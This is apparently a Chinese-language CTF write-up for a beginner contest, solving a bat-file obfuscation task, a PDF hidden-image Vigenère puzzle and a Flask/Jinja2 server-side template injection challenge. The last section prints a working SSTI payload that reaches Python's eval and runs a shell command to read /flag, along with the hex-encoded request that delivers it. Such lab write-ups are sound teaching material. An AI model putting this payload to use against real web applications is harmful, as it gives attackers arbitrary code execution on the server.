这次比赛定位是基础赛,所以题目基本都是入门难度。
这个 bat 文件里面怎么有 flag?还好我把输出删了,并且还把文件加密了,这下你看不到 flag 了,哈哈!!
这个是远古的 bat 简单加密方式。只需要 strings
一下就可以了:
你说得对,但是,中间忘了,后面忘了。
分两步走,首先 pdf 里面隐藏了一张图片,是在原神的图片的下面的,用 word 打开 pdf 或者用其他 pdf 编辑器就行。
得到一个很像 flag 的字符串:lpny{f0C_s1th_F3uY3b_vs4Kr_1f_wLs!}
。
然后 pdf 的元信息里面提示了 key:genshin
,猜测是维吉尼亚密码,所以解码得到 flag:flag{y0U_f1nd_S3cR3t_im4Ge_1n_pDf!}
这道题其实是看到知乎上的一个问题:https://www.zhihu.com/question/2059501083/answer/36169541158,原理和 exp 在文章中已经说明了。
怎么那么多题目最后都是 base64 或者 hex 编码的 flag?刚刷了 10000 道 web 题的 yema 如是说道。于是,yema 就用 flask 顺手写了一个在线解码网站,没想到,过了 2 秒半网站就被黑了……
题目描述和网站已经给出提示了:flask 和 jinja2,这道题是 flask 的 ssti,还没有过滤。因此,只需要搞出来 eval 就行,网上随便抄了个 payload:{{url_for['__globals__']['current_app']['__init__']['__globals__']['__builtins__']['eval']("xxx")}}
,之后就可以直接运行任意代码了:{{url_for['__globals__']['current_app']['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
最终访问 /?hash=hex&hash_text=7b7b75726c5f666f725b275f5f676c6f62616c735f5f275d5b2763757272656e745f617070275d5b275f5f696e69745f5f275d5b275f5f676c6f62616c735f5f275d5b275f5f6275696c74696e735f5f275d5b276576616c275d28225f5f696d706f72745f5f28276f7327292e706f70656e2827636174202f666c616727292e72656164282922297d7d
即可。